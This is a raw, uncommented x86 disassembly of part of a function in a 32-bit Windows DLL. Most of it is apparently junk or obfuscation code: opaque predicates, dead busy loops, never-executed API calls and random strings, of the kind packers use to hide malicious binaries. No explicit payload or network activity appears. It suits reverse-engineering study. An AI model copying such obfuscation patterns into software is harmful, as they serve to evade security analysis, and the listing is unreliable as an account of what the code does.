and dword [ebp - 0x50c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x50c]
mov dword [ebp + eax - 0x7d0], ecx
mov dword [ebp - 0x30], 0xfffffffc
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x978], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
jle 0x1001c534
mov dword [ebp - 0x384], 1
jmp 0x1001c53b
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x384]
cmp eax, dword [ebp - 0x24]
jl 0x1001c556
mov dword [ebp - 0x48c], 1
jmp 0x1001c55d
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x48c]
cmp dword [ebp - 0x2c], eax
jle 0x1001c603
mov dword [ebp - 0x1b0], 0
jmp 0x1001c588
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jge 0x1001c5a4
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x7e0], 0xf54c
jmp 0x1001c57b
mov dword [ebp - 0x24], 0xffffffe6
jmp 0x1001c5b4
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff3
jne 0x1001c5d7
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7e0]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x7e0], eax
jmp 0x1001c5ad
mov dword [ebp - 0x30], 1
jmp 0x1001c5e7
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jl 0x1001c5fe
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x7d0], 0
je 0x1001c5fc
jmp 0x1001c5fe
jmp 0x1001c5e0
jmp 0x1001c688
mov dword [ebp - 0x298], 0
jmp 0x1001c61c
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 3
jge 0x1001c638
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0x938], 0xfffa
jmp 0x1001c60f
mov dword [ebp - 0x2c], 0
jmp 0x1001c648
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe7
je 0x1001c688
mov dword [ebp - 0x30], 0
jmp 0x1001c65e
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xd
je 0x1001c686
mov dword [ebp - 0x24], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x938]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x938], eax
jmp 0x1001c657
jmp 0x1001c641
jmp 0x1001c694
mov dword [ebp - 0x304], 0xa9d45c54
mov byte [ebp - 0xb0], 0
movzx eax, byte [ebp - 0xb0]
test eax, eax
je 0x1001c6b1
push 0x2b1
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x128]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x1001cce8
mov dword [ebp - 0x14], 0x6847
mov dword [ebp - 0x260], 0xdae4f9db
mov dword [ebp - 0x494], 0xffffffff
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x3ac], 0xefa025ec
mov dword [ebp - 0x1b8], 0
jmp 0x1001c714
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jge 0x1001c730
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x874], 0x82f744ed
jmp 0x1001c707
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
je 0x1001c7f0
cmp dword [ebp - 0x14], 6
jge 0x1001c74f
mov dword [ebp - 0x38c], 1
jmp 0x1001c756
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x38c]
test eax, eax
ja 0x1001c776
mov eax, 0x39e2
test eax, eax
jne 0x1001c776
and dword [ebp - 0x584], 0
jmp 0x1001c780
mov dword [ebp - 0x584], 1
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x260]
neg eax
cmp eax, 2
jge 0x1001c7a5
mov dword [ebp - 0x394], 1
jmp 0x1001c7ac
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x394], eax
jle 0x1001c7c3
mov dword [ebp - 0x5d0], 1
jmp 0x1001c7ca
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
sub eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jl 0x1001c7f0
mov dword [ebp - 0x39c], 1
jmp 0x1001c7f7
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x39c], eax
jne 0x1001c80e
mov dword [ebp - 0x514], 1
jmp 0x1001c815
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x514]
neg eax
cmp eax, 0xffffffff
jae 0x1001c82e
mov dword [ebp - 0x3a4], 1
jmp 0x1001c835
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x3a4], eax
jg 0x1001c84c
mov dword [ebp - 0x49c], 1
jmp 0x1001c853
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x2ec], eax
mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [ebp - 0x14]
jle 0x1001c882
mov dword [ebp - 0x554], 1
jmp 0x1001c889
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x554], eax
jg 0x1001c8a6
cmp dword [ebp - 0x2ec], 0
jne 0x1001c8a6
and dword [ebp - 0x3b4], 0
jmp 0x1001c8b0
mov dword [ebp - 0x3b4], 1
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x3b4]
test eax, eax
jne 0x1001c8d0
cmp dword [ebp - 0x260], 0
jne 0x1001c8d0
and dword [ebp - 0x4a4], 0
jmp 0x1001c8da
mov dword [ebp - 0x4a4], 1
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x4a4]
dec eax
cmp eax, 0xee6d
jge 0x1001c8f8
mov dword [ebp - 0x3bc], 1
jmp 0x1001c8ff
and dword [ebp - 0x3bc], 0
cmp dword [ebp - 0x3bc], 8
jae 0x1001c914
mov dword [ebp - 0x51c], 1
jmp 0x1001c91b
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x51c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x874], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x128]
inc eax
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x108], 0xffffffff
mov dword [ebp - 0x1c0], 0
jmp 0x1001c967
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 3
jge 0x1001c983
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x59c], 1
jmp 0x1001c95a
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x59c], 0
jmp 0x1001c9b1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x59c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x59c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x59c], 0x14
jle 0x1001cc37
mov dword [ebp - 0x3c4], 0x1a6d
mov dword [ebp - 0x6c8], str.bbh_sznlwqsw_pxba_tnucgoygw_kchyqub_yysvqf_fmfren_qtcyfjsbv_mzewxw_vfxrwhkm_wrkxja_exqgy_ahurxupmf_xqggc
cmp dword [ebp - 0x3c4], 0x1ac2
jle 0x1001ca5e
and dword [ebp - 0x2a0], 0
jmp 0x1001c9fb
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x21ef
jge 0x1001ca5e
and dword [ebp - 0x1c8], 0
jmp 0x1001ca1d
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x5f09
jge 0x1001ca5c
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x1c8]
sar eax, cl
cdq
mov dword [ebp - 0x664], eax
mov dword [ebp - 0x660], edx
push dword [ebp - 0x660]
push dword [ebp - 0x664]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001ca10
jmp 0x1001c9ee
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x3c4], 0x1830
jge 0x1001ca81
mov edx, dword [ebp - 0x6c8]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001ca9d
or dword [ebp - 4], 0xffffffff
jmp 0x1001caa7
mov dword [ebp - 0x268], 0
jmp 0x1001cac0
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 2
jge 0x1001cadc
mov eax, dword [ebp - 0x268]
mov dword [ebp + eax*4 - 0x56c], 0x999fb023
jmp 0x1001cab3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x56c], 1
jg 0x1001caf8
mov dword [ebp - 0x4ac], 1
jmp 0x1001caff
and dword [ebp - 0x4ac], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x56c], 0x31d6b61
jne 0x1001cb1e
mov dword [ebp - 0x3cc], 1
jmp 0x1001cb25
and dword [ebp - 0x3cc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4ac]
sub ecx, dword [ebp - 0x3cc]
cmp ecx, dword [ebp + eax - 0x59c]
jg 0x1001cb4c
mov dword [ebp - 0x580], 1
jmp 0x1001cb53
and dword [ebp - 0x580], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x59c]
cmp eax, dword [ebp - 0x580]
jl 0x1001cb73
mov dword [ebp - 0x3d4], 1
jmp 0x1001cb7a
and dword [ebp - 0x3d4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3d4]
sub ecx, dword [ebp + eax - 0x59c]
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x56c], ecx
jl 0x1001cba8
mov dword [ebp - 0x4b4], 1
jmp 0x1001cbaf
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x108], 0
jmp 0x1001cbd4
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x11
jle 0x1001cc32
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf4], 0xfffffff7
jmp 0x1001cc00
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 4
jl 0x1001cc30
mov eax, dword [ebp - 0xf4]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x56c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x56c], 0
je 0x1001cc2e
jmp 0x1001cc30
jmp 0x1001cbf3
jmp 0x1001cbc7
jmp 0x1001c996
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x128]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3dc], 0x6e87
mov dword [ebp - 0x1d0], 0
jmp 0x1001cc6f
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 3
jge 0x1001cc8b
mov eax, dword [ebp - 0x1d0]
mov dword [ebp + eax*4 - 0x9d0], 1
jmp 0x1001cc62
cmp dword [ebp - 0x3dc], 0x976f
je 0x1001cca3
mov dword [ebp - 0x524], 1
jmp 0x1001ccaa
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x3dc]
imul eax, dword [ebp - 0x524]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x9d0], eax
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x1001cce3
push 0x2114
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
jmp 0x1001c28a
mov dword [ebp - 0x980], 0xfffffff6
mov dword [ebp - 0x9b0], 0x70bb743d
mov dword [ebp - 0x944], 0xfffffffc
mov dword [ebp - 0x820], 0xd976ff55
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x90c], 0xffffffff
mov dword [ebp - 0x4bc], 1
mov dword [ebp - 0x830], 0xdde9
mov dword [ebp - 0x3e4], 0x628
mov dword [ebp - 0x5d8], str.anab_lvc_ufiihokpf_mxmuktra_bknhtmv_udhbr
cmp dword [ebp - 0x3e4], 0x924
jle 0x1001ce04
and dword [ebp - 0x2a8], 0
jmp 0x1001cd72
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x294
jge 0x1001ce04
and dword [ebp - 0x1d8], 0
jmp 0x1001cd98
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x5a10
jge 0x1001cdff
and dword [ebp - 0x2b0], 0
jmp 0x1001cdba
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x2535
jge 0x1001cdfd
mov eax, dword [ebp - 0x2a8]
sub eax, dword [ebp - 0x1d8]
and eax, dword [ebp - 0x2b0]
cdq
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], edx
push dword [ebp - 0x66c]
push dword [ebp - 0x670]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001cdad
jmp 0x1001cd8b
jmp 0x1001cd65
mov dword [ebp - 0x5c], 0
jmp 0x1001ce14
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x1001ce2a
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0xaa0], 8
jmp 0x1001ce0d
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x3e4], 0x2d7
jge 0x1001ce4d
mov edx, dword [ebp - 0x5d8]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001ce69
or dword [ebp - 4], 0xffffffff
jmp 0x1001ce73
mov dword [ebp - 0x5c], 0
jmp 0x1001ce83
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x1001ce99
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0xa14], 0x42b9193c
jmp 0x1001ce7c
mov eax, dword [ebp - 0x4bc]
dec eax
mov dword [ebp - 0x4bc], eax
mov byte [ebp - 0xb2], 0
movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x1001cec0
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x29c]
movzx eax, byte [ebp + eax - 0x12a]
movzx eax, word [ebp + eax*2 - 0x81c]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x127]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x29c]
movzx eax, byte [ebp + eax - 0x12a]
movzx eax, word [ebp + eax*2 - 0x81c]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x127]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x128]
mov word [ebp + eax*2 - 0x81c], dx
mov dword [ebp - 0x52c], 9
mov dword [ebp - 0x1e0], 0xd526d2e8
mov dword [ebp - 0x104], 0xfffffffc
mov dword [ebp - 0xe4], 0x63ffaf07
mov dword [ebp - 0x964], 0x2b4746a1
mov dword [ebp - 0x80], 0x7bb7ab61
mov dword [ebp - 0x838], 0x377d6446
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x1e0], 0
jne 0x1001cf96
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x80]
inc edx
mov dword [ebp - 0x80], edx
cmp ecx, eax
jne 0x1001cf96
and dword [ebp - 0x3f4], 0
jmp 0x1001cfa0
mov dword [ebp - 0x3f4], 1
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x840], eax
xor eax, eax
jne 0x1001cfc2
cmp dword [ebp - 0xe4], 0
jne 0x1001cfc2
and dword [ebp - 0x3ec], 0
jmp 0x1001cfcc
mov dword [ebp - 0x3ec], 1
cmp dword [ebp - 0x3ec], 0xfffffffb
jge 0x1001cfe1
mov dword [ebp - 0x55c], 1
jmp 0x1001cfe8
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0x55c], eax
jge 0x1001d002
mov dword [ebp - 0x4c4], 1
jmp 0x1001d009
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x3f4]
cmp eax, dword [ebp - 0x4c4]
jle 0x1001d023
mov dword [ebp - 0x3fc], 1
jmp 0x1001d02a
and dword [ebp - 0x3fc], 0
cmp dword [ebp - 0x3fc], 1
je 0x1001d048
cmp dword [ebp - 0x52c], 0
je 0x1001d048
mov dword [ebp - 0x740], 1
jmp 0x1001d04f
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x984], eax
push 0x69
pop eax
test eax, eax
je 0x1001d0d4
mov eax, 0xdbc1
test eax, eax
je 0x1001d0d4
mov dword [ebp - 0x104], 0xffffffe6
jmp 0x1001d084
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x17
je 0x1001d0cf
mov dword [ebp - 0xe4], 0
jmp 0x1001d0a6
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xfffffff7
je 0x1001d0cd
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x1001d0cb
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x1001d099
jmp 0x1001d077
jmp 0x1001d210
mov dword [ebp - 0x80], 0xffffffeb
jmp 0x1001d0e4
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x20
jge 0x1001d210
mov dword [ebp - 0x404], 0x354a
mov dword [ebp - 0x6d4], str.rethgah_otkfc_afqkfwhz_uzppezqlx_wiiiwxj_tesst_jqgwaid_ygyzniyr_qylo_abilqney_ajjbdqlvp_cvcskcq_lsv_cbjw
cmp dword [ebp - 0x404], 0x36e9
jle 0x1001d1b2
and dword [ebp - 0x274], 0
jmp 0x1001d128
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x4ab3
jge 0x1001d1b2
and dword [ebp - 0x1e8], 0
jmp 0x1001d14a
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x3937
jge 0x1001d1ad
mov eax, dword [ebp - 0x274]
and eax, dword [ebp - 0x1e8]
cdq
mov dword [ebp - 0x67c], eax
mov dword [ebp - 0x678], edx
push dword [ebp - 0x678]
push dword [ebp - 0x67c]
lea ecx, [ebp - 0xa94]
call fcn.10001341
pop ecx
pop ecx
mov dword [ebp - 0x5e0], eax
mov ecx, dword [ebp - 0x5e0]
call fcn.100013b2
push eax
call fcn.10044ce0
pop ecx
lea ecx, [ebp - 0xa94]
call fcn.100013a8
jmp 0x1001d13d
jmp 0x1001d11b
mov dword [ebp - 0x5e8], 0xffff
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x404], 0x31a1
jge 0x1001d1db
push dword [ebp - 0x6d4]
call fcn.10044ce0
pop ecx
jmp 0x1001d1f7
or dword [ebp - 4], 0xffffffff
jmp 0x1001d201
mov dword [ebp - 0x5e8], 0x2abac89d
jmp 0x1001d0dd
and dword [ebp - 0x29c], 0
jmp 0x1001c28a
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0x81c], cx
mov dword [ebp - 0xc8], 0x3606de71
mov dword [ebp - 0x1f0], 0
jmp 0x1001d24f
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 1
jge 0x1001d26b
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0x4cc], 0xe3556834
jmp 0x1001d242
mov byte [ebp - 0xb4], 0
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x1001d28c
push 0
push 0x924
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
mov dword [ebp - 0xc8], 0
jmp 0x1001d2a5
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jl 0x1001d2ca
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x4cc]
mov ecx, dword [ebp - 0xc8]
mov dword [ebp + ecx*4 - 0x4cc], eax
jmp 0x1001d298
lea eax, [ebp - 0x81c]
push eax
lea ecx, [ebp - 0xa34]
call fcn.1000642f
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 4], 0x10
push dword [ebp - 0x5f0]
call fcn.100131ab
pop ecx
mov dword [ebp - 0x468], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa34]
call fcn.10006479
mov dword [ebp - 0xd8], 8
mov dword [ebp - 0x7c8], 0x41637c1d
mov dword [ebp - 0x7c4], 0x41637c1d
mov dword [ebp - 0x7c0], 0x41637c1d
mov dword [ebp - 0x7bc], 0x41637c1d
mov dword [ebp - 0x4c], 0x5d70512a
mov dword [ebp - 0x27c], 0
jmp 0x1001d368
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 3
jge 0x1001d384
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0x57c], 0
jmp 0x1001d35b
mov dword [ebp - 0xd8], 2
jmp 0x1001d39d
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jl 0x1001d512
mov dword [ebp - 0x1f8], 0
jmp 0x1001d3c3
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jge 0x1001d3df
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0x2fc], 0xfffffffb
jmp 0x1001d3b6
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2fc], 2
jmp 0x1001d40d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2fc]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2fc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2fc], 0
jl 0x1001d50d
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x1001d450
push 0
push 0x8f6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp + eax*4 - 0x57c]
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0xd8]
add eax, 0x9d44c039
mov dword [ebp - 0x40c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x40c]
mov dword [ebp + eax - 0x7c8], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2fc]
imul ecx, dword [ebp - 0x40c], 0xfffa
cmp ecx, dword [ebp + eax*4 - 0x57c]
jle 0x1001d4b3
mov dword [ebp - 0x588], 1
jmp 0x1001d4ba
and dword [ebp - 0x588], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2fc]
mov eax, dword [ebp + eax*4 - 0x57c]
imul eax, dword [ebp - 0x588]
cmp eax, 0x9e53e58b
je 0x1001d4f8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2fc], 0
je 0x1001d4f8
mov dword [ebp - 0x414], 1
jmp 0x1001d4ff
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x4c], eax
jmp 0x1001d3f2
jmp 0x1001d390
mov dword [ebp - 0x4c], 0
jmp 0x1001d522
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jg 0x1001d688
mov dword [ebp - 0x64], 0
jmp 0x1001d53c
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x1001d552
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x6e0], 0x2401dbda
jmp 0x1001d535
mov dword [ebp - 0x64], 0
jmp 0x1001d562
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x1001d578
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x9dc], 0xe924
jmp 0x1001d55b
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x57c], 0
je 0x1001d598
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x1001d598
mov dword [ebp - 0x4d4], 1
jmp 0x1001d59f
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x57c]
cmp eax, dword [ebp - 0x4d4]
jg 0x1001d5bd
mov dword [ebp - 0x41c], 1
jmp 0x1001d5c4
and dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 8
jne 0x1001d5d9
mov dword [ebp - 0x424], 1
jmp 0x1001d5e0
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x57c]
mov dword [ebp - 0x534], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x534]
mov dword [ebp + eax - 0x6e0], ecx
mov eax, dword [ebp - 0x534]
cmp eax, dword [ebp - 0x424]
jge 0x1001d61d
mov dword [ebp - 0x4dc], 1
jmp 0x1001d624
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x57c]
imul eax, dword [ebp - 0x4dc]
test eax, eax
jne 0x1001d652
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9dc], 0
jne 0x1001d652
and dword [ebp - 0x42c], 0
jmp 0x1001d65c
mov dword [ebp - 0x42c], 1
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x42c]
mov dword [ebp + eax - 0x7c8], ecx
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x57c], 0
je 0x1001d683
jmp 0x1001d51b
jmp 0x1001d51b
and dword [ebp - 0x2a4], 0
jmp 0x1001d69e
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0xd
jae 0x1001da15
mov dword [ebp - 0x788], 0xcf5720e
mov dword [ebp - 0x784], 0xcf5720e
mov dword [ebp - 0x780], 0xcf5720e
mov dword [ebp - 0x77c], 0xcf5720e
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xe8], 0xdb6d0374
mov dword [ebp - 0x91c], 0x8ad64de8
mov dword [ebp - 0x850], 0xbe734e2e
mov dword [ebp - 0x43c], 0xfffffffd
mov dword [ebp - 0x2bc], 0
jmp 0x1001d71e
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 2
jge 0x1001d73a
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0x880], 0x22cbd4da
jmp 0x1001d711
mov dword [ebp - 0xc0], 3
jmp 0x1001d753
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x1001d9e5
mov dword [ebp - 0x96c], 0x77dfcc86
mov dword [ebp - 0x600], 0x324067bc
mov dword [ebp - 0x858], 0x4b71808a
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ebp + ecx*4 - 0x788]
cmp ecx, dword [ebp + eax*4 - 0x788]
jne 0x1001d7a6
mov dword [ebp - 0x564], 1
jmp 0x1001d7ad
and dword [ebp - 0x564], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x788]
cmp dword [ebp - 0x564], eax
jge 0x1001d7ce
mov dword [ebp - 0x434], 1
jmp 0x1001d7d5
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x434]
